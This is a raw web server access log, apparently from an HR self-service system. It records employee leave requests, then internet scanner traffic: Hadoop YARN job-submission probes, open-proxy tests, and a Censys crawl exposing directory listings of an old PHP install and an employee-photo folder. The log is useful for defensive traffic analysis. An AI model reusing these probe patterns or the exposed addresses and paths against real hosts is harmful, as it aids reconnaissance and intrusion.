"http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:54:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44082 192.168.12.53 - - [29/Nov/2025:16:54:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&action=delete&leave_flowseqno=120277 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:54:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&action=delete&leave_flowseqno=120277 HTTP/1.1" 302 - 192.168.12.53 - - [29/Nov/2025:16:54:20 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%96%AE%E8%99%9F%3A120277+%E7%9A%84%E7%94%B3%E8%AB%8B%E5%96%AE%E5%88%AA%E9%99%A4%E6%88%90%E5%8A%9F.&target=iframe HTTP/1.1" 200 3104 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:54:20 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%96%AE%E8%99%9F%3A120277+%E7%9A%84%E7%94%B3%E8%AB%8B%E5%96%AE%E5%88%AA%E9%99%A4%E6%88%90%E5%8A%9F.&target=iframe HTTP/1.1" 200 3104 192.168.12.53 - - [29/Nov/2025:16:54:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:54:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.53 - - [29/Nov/2025:16:54:35 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3877544596115472 HTTP/1.1" 200 16608 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:54:35 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3877544596115472 HTTP/1.1" 200 16608 192.168.12.53 - - [29/Nov/2025:16:54:43 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3877544596115472 HTTP/1.1" 200 18790 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3877544596115472" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:54:43 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3877544596115472 HTTP/1.1" 200 18790 192.168.12.53 - - [29/Nov/2025:16:56:52 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4213 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:56:52 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4213 192.168.12.53 - - [29/Nov/2025:16:58:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:58:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.53 - - [29/Nov/2025:16:58:37 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6766782351335886 HTTP/1.1" 200 16608 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:58:37 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6766782351335886 HTTP/1.1" 200 16608 192.168.12.53 - - [29/Nov/2025:16:58:43 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6766782351335886 HTTP/1.1" 200 18790 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6766782351335886" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:58:43 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6766782351335886 HTTP/1.1" 200 18790 192.168.12.53 - - [29/Nov/2025:16:58:51 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4207 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.53 - - [29/Nov/2025:16:58:51 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4207 100.64.0.1 - - [29/Nov/2025:17:01:29 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 100.64.0.1 - - [29/Nov/2025:17:01:29 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.25.1" 100.64.0.1 - - [29/Nov/2025:17:18:41 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [29/Nov/2025:17:18:41 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [29/Nov/2025:17:18:42 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [29/Nov/2025:17:18:42 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [29/Nov/2025:17:27:25 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 100.64.0.1 - - [29/Nov/2025:17:27:25 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.22.0" 100.64.0.1 - - [29/Nov/2025:17:56:54 +0800] "\x03" 501 203 "-" "-" 100.64.0.1 - - [29/Nov/2025:17:56:54 +0800] "\x03" 501 203 100.64.0.1 - - [29/Nov/2025:18:37:03 +0800] "GET / HTTP/1.1" 200 439 "-" "cypex.ai/scanning Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36" 100.64.0.1 - - [29/Nov/2025:18:37:03 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [29/Nov/2025:18:37:23 +0800] "GET / HTTP/1.1" 200 439 "-" "cypex.ai/scanning Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36" 100.64.0.1 - - [29/Nov/2025:18:37:23 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [29/Nov/2025:18:38:34 +0800] "GET / HTTP/1.1" 200 439 "-" "cypex.ai/scanning Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36" 100.64.0.1 - - [29/Nov/2025:18:38:34 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [29/Nov/2025:18:38:54 +0800] "GET / HTTP/1.1" 200 439 "-" "cypex.ai/scanning Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36" 100.64.0.1 - - [29/Nov/2025:18:38:54 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [29/Nov/2025:18:40:51 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [29/Nov/2025:18:40:51 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [29/Nov/2025:18:41:12 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [29/Nov/2025:18:41:12 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [29/Nov/2025:18:42:20 +0800] "SSH-2.0-Go" 501 212 100.64.0.1 - - [29/Nov/2025:18:42:20 +0800] "SSH-2.0-Go" 501 212 "-" "-" 100.64.0.1 - - [29/Nov/2025:18:42:40 +0800] "SSH-2.0-Go" 501 212 100.64.0.1 - - [29/Nov/2025:18:42:40 +0800] "SSH-2.0-Go" 501 212 "-" "-" 100.64.0.1 - - [29/Nov/2025:18:43:30 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [29/Nov/2025:18:43:30 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [29/Nov/2025:18:43:51 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [29/Nov/2025:18:43:51 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [29/Nov/2025:19:39:45 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 100.64.0.1 - - [29/Nov/2025:19:39:45 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [29/Nov/2025:19:42:55 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 "-" "Go-http-client/1.1" 100.64.0.1 - - [29/Nov/2025:19:42:55 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 100.64.0.1 - - [29/Nov/2025:19:43:02 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 "-" "Go-http-client/1.1" 100.64.0.1 - - [29/Nov/2025:19:43:02 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 100.64.0.1 - - [29/Nov/2025:19:44:10 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 100.64.0.1 - - [29/Nov/2025:19:44:10 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [29/Nov/2025:19:46:12 +0800] "GET / HTTP/1.1" 200 439 "-" "-" 100.64.0.1 - - [29/Nov/2025:19:46:12 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [29/Nov/2025:19:52:21 +0800] "GET / HTTP/1.1" 200 439 "-" "-" 100.64.0.1 - - [29/Nov/2025:19:52:21 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [29/Nov/2025:20:11:35 +0800] "CONNECT baidu.com:443 HTTP/1.1" 405 225 "-" "Go-http-client/1.1" 100.64.0.1 - - [29/Nov/2025:20:11:35 +0800] "CONNECT baidu.com:443 HTTP/1.1" 405 225 100.64.0.1 - - [29/Nov/2025:20:11:48 +0800] "CONNECT baidu.com:443 HTTP/1.1" 405 225 "-" "Go-http-client/1.1" 100.64.0.1 - - [29/Nov/2025:20:11:48 +0800] "CONNECT baidu.com:443 HTTP/1.1" 405 225 100.64.0.1 - - [29/Nov/2025:20:27:48 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 100.64.0.1 - - [29/Nov/2025:20:27:48 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [29/Nov/2025:20:35:14 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 100.64.0.1 - - [29/Nov/2025:20:35:14 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [29/Nov/2025:21:18:36 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0" 100.64.0.1 - - [29/Nov/2025:21:18:36 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [29/Nov/2025:21:18:54 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" 100.64.0.1 - - [29/Nov/2025:21:18:54 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [29/Nov/2025:23:01:40 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [29/Nov/2025:23:01:40 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [29/Nov/2025:23:15:23 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 100.64.0.1 - - [29/Nov/2025:23:15:23 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [29/Nov/2025:23:17:03 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 100.64.0.1 - - [29/Nov/2025:23:17:03 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [29/Nov/2025:23:17:31 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [29/Nov/2025:23:17:31 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 100.64.0.1 - - [30/Nov/2025:00:32:59 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 "-" "Go-http-client/1.1" 100.64.0.1 - - [30/Nov/2025:00:32:59 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 100.64.0.1 - - [30/Nov/2025:00:33:07 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 "-" "Go-http-client/1.1" 100.64.0.1 - - [30/Nov/2025:00:33:07 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 100.64.0.1 - - [30/Nov/2025:02:05:21 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [30/Nov/2025:02:05:21 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [30/Nov/2025:02:05:22 +0800] "GET /eHR HTTP/1.1" 301 238 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [30/Nov/2025:02:05:22 +0800] "GET /eHR HTTP/1.1" 301 238 100.64.0.1 - - [30/Nov/2025:02:05:22 +0800] "GET /eHR/ HTTP/1.1" 200 649 "http://222.92.19.198:8088/eHR" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [30/Nov/2025:02:05:22 +0800] "GET /eHR/ HTTP/1.1" 200 649 100.64.0.1 - - [30/Nov/2025:02:05:22 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 265 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [30/Nov/2025:02:05:22 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 265 100.64.0.1 - - [30/Nov/2025:02:05:23 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "http://222.92.19.198:8088/Apache%20Software%20Foundation" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [30/Nov/2025:02:05:23 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 100.64.0.1 - - [30/Nov/2025:02:05:25 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32 HTTP/1.1" 301 282 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [30/Nov/2025:02:05:25 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32 HTTP/1.1" 301 282 100.64.0.1 - - [30/Nov/2025:02:05:26 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ HTTP/1.1" 200 2217 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [30/Nov/2025:02:05:26 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ HTTP/1.1" 200 2217 100.64.0.1 - - [30/Nov/2025:02:05:27 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras HTTP/1.1" 301 289 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [30/Nov/2025:02:05:27 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras HTTP/1.1" 301 289 100.64.0.1 - - [30/Nov/2025:02:05:27 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/ HTTP/1.1" 200 526 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/extras" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [30/Nov/2025:02:05:27 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/ HTTP/1.1" 200 526 100.64.0.1 - - [30/Nov/2025:02:05:28 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs HTTP/1.1" 301 294 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [30/Nov/2025:02:05:28 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs HTTP/1.1" 301 294 100.64.0.1 - - [30/Nov/2025:02:05:28 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs/ HTTP/1.1" 200 3813 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [30/Nov/2025:02:05:28 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs/ HTTP/1.1" 200 3813 100.64.0.1 - - [30/Nov/2025:02:05:29 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related HTTP/1.1" 301 301 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [30/Nov/2025:02:05:29 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related HTTP/1.1" 301 301 100.64.0.1 - - [30/Nov/2025:02:05:29 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related/ HTTP/1.1" 200 2771 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [30/Nov/2025:02:05:29 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related/ HTTP/1.1" 200 2771 100.64.0.1 - - [30/Nov/2025:02:05:30 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl HTTP/1.1" 301 297 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [30/Nov/2025:02:05:30 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl HTTP/1.1" 301 297 100.64.0.1 - - [30/Nov/2025:02:05:30 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl/ HTTP/1.1" 200 525 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [30/Nov/2025:02:05:30 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl/ HTTP/1.1" 200 525 100.64.0.1 - - [30/Nov/2025:02:05:32 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev HTTP/1.1" 301 286 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [30/Nov/2025:02:05:32 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev HTTP/1.1" 301 286 100.64.0.1 - - [30/Nov/2025:02:05:34 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev/ HTTP/1.1" 200 392 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/dev" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [30/Nov/2025:02:05:34 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev/ HTTP/1.1" 200 392 100.64.0.1 - - [30/Nov/2025:02:05:35 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR HTTP/1.1" 301 287 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [30/Nov/2025:02:05:35 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR HTTP/1.1" 301 287 100.64.0.1 - - [30/Nov/2025:02:05:35 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR/ HTTP/1.1" 200 398 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [30/Nov/2025:02:05:35 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR/ HTTP/1.1" 200 398 100.64.0.1 - - [30/Nov/2025:02:05:36 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext HTTP/1.1" 301 286 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [30/Nov/2025:02:05:36 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext HTTP/1.1" 301 286 100.64.0.1 - - [30/Nov/2025:02:05:37 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext/ HTTP/1.1" 200 2780 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/ext" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [30/Nov/2025:02:05:37 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext/ HTTP/1.1" 200 2780 100.64.0.1 - - [30/Nov/2025:02:05:37 +0800] "GET /Apache%20Software%20Foundation/emphoto HTTP/1.1" 301 273 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [30/Nov/2025:02:05:37 +0800] "GET /Apache%20Software%20Foundation/emphoto HTTP/1.1" 301 273 100.64.0.1 - - [30/Nov/2025:02:05:38 +0800] "GET /Apache%20Software%20Foundation/emphoto/ HTTP/1.1" 200 25237 "http://222.92.19.198:8088/Apache%20Software%20Foundation/emphoto" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [30/Nov/2025:02:05:38 +0800] "GET /Apache%20Software%20Foundation/emphoto/ HTTP/1.1" 200 25237 100.64.0.1 - - [30/Nov/2025:02:05:40 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0 HTTP/1.1" 301 289 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [30/Nov/2025:02:05:40 +0800] "GET /Apache%20Software%20Foundation/oracleclient.11.2.0.1.0 HTTP/1.1" 301 289 100.64.0.1 - - [30/Nov/2025:02:07:21 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [30/Nov/2025:02:07:21 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [30/Nov/2025:02:07:25 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [30/Nov/2025:02:07:25 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [30/Nov/2025:02:07:26 +0800] "PRI * HTTP/2.0" 400 226 "-" "-" 100.64.0.1 - - [30/Nov/2025:02:07:26 +0800] "PRI * HTTP/2.0" 400 226 100.64.0.1 - - [30/Nov/2025:02:07:29 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [30/Nov/2025:02:07:29 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [30/Nov/2025:02:07:40 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [30/Nov/2025:02:07:40 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [30/Nov/2025:02:07:40 +0800] "GET /idcard HTTP/1.1" 301 241 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [30/Nov/2025:02:07:40 +0800] "GET /idcard HTTP/1.1" 301 241 100.64.0.1 - - [30/Nov/2025:02:07:41 +0800] "GET /idcard/ HTTP/1.1" 200 649 "http://222.92.19.198:8088/idcard" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [30/Nov/2025:02:07:41 +0800] "GET /idcard/ HTTP/1.1" 200 649 100.64.0.1 - - [30/Nov/2025:02:07:42 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 265 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [30/Nov/2025:02:07:42 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 265 100.64.0.1 - - [30/Nov/2025:02:07:43 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "http://222.92.19.198:8088/Apache%20Software%20Foundation" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [30/Nov/2025:02:07:43 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 100.64.0.1 - - [30/Nov/2025:02:07:44 +0800] "GET /Apache%20Software%20Foundation/emphoto HTTP/1.1" 301 273 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [30/Nov/2025:02:07:44 +0800] "GET /Apache%20Software%20Foundation/emphoto HTTP/1.1" 301 273 100.64.0.1 - - [30/Nov/2025:02:07:46 +0800] "GET /Apache%20Software%20Foundation/emphoto/ HTTP/1.1" 200 25237 "http://222.92.19.198:8088/Apache%20Software%20Foundation/emphoto" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [30/Nov/2025:02:07:46 +0800] "GET /Apache%20Software%20Foundation/emphoto/ 